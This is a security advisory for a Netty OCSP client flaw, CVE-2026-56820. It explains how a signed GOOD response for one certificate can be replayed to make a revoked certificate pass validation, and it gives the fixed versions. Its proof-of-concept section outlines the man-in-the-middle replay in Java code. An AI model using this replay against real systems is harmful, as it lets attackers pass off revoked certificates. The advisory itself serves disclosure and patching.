CVE-2026-56820: Netty OcspClient OCSP Response Replay Attack
Netty's OCSP client never checks whether the certificate ID in an OCSP response actually matches the certificate being validated, so an attacker can replay a legitimate GOOD response for any other…
The problem
The OcspClient.validateResponse method in io.netty:netty-handler-ssl-ocsp verifies the CA signature on an OCSP response but never checks that the embedded CertificateID matches the certificate under scrutiny. This violates RFC 6960 section 3.2, which mandates that clients confirm the response corresponds to the requested certificate.
An attacker who holds any valid, non-revoked certificate from the same CA can obtain a legitimately signed GOOD response for their own certificate, then replay it when Netty queries revocation status for a different certificate, including a revoked one. The client accepts the forged response and treats the target certificate as valid.
Proof of concept
A working proof-of-concept for CVE-2026-56820 in io.netty:netty-handler-ssl-ocsp, with the exact payload below.
// Attacker builds a forged OCSP response for an UNRELATED certificate
// signed by the same CA, then serves it to the Netty OcspClient.
// 1. Obtain a valid GOOD OCSPResp for attacker-controlled cert (unrelatedCert)
// from the real CA OCSP responder. Encode it.
byte[] forgedResponseEncoded = forgedResponse.getEncoded();
// 2. Intercept / MITM the victim's OCSP HTTP request and return the forged bytes.
// Netty's OcspClient receives this HTTP 200 with Content-Type: application/ocsp-response.
DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(
HttpVersion.HTTP_1_1,
HttpResponseStatus.OK,
Unpooled.wrappedBuffer(forgedResponseEncoded));
httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response");
httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH,
httpResponse.content().readableBytes());
// 3. OcspClient.query() resolves to a BasicOCSPResp with status GOOD.
// validateResponse() never calls certID.matches(requestedCertID).
// The revoked targetCert is incorrectly treated as valid.
Promise<BasicOCSPResp> promise = OcspClient.query(
revokedTargetCert, issuerCert, false, transport, resolver);
promise.await();
// promise.isSuccess() == true <-- BUG: should be falseThe root cause is a missing identity check in OcspClient.validateResponse. The method verified that the response was signed by a trusted CA but never called SingleResp.getCertID().matches(requestedCertID) to confirm the response pertains to the right certificate.
RFC 6960 s3.2 requires this check explicitly.
The patch commits (5b68c61f for 4.2.x and bb2ff68a for 4.1.x) add a CertificateID equality assertion before the response is accepted: if the serial number or issuer hash in the returned SingleResp does not match the requested certificate's ID, the promise is failed and the certificate is rejected.
CWE-295 (Improper Certificate Validation) applies directly.
The fix
Upgrade io.netty:netty-handler-ssl-ocsp to 4.2.16.Final (4.2.x users) or 4.1.136.Final (4.1.x users). Both releases add a CertificateID.matches() check in OcspClient.validateResponse before trusting any OCSP response. No configuration change is needed; updating the dependency is sufficient.
Related research
- high · 7.4CVE-2026-56822CVE-2026-56822: netty-handler-ssl-ocsp TOCTOU Race in OcspServerCertificateValidator
- high · 7.4CVE-2026-56821CVE-2026-56821: netty-handler-ssl-ocsp Stale OCSP Response Accepted as Valid
- highCVE-2026-56745CVE-2026-56745: netty-codec-http SpdyHttpDecoder ByteBuf Reference Leak
- highCVE-2026-59901CVE-2026-59901: Netty Bzip2Decoder Infinite Loop DoS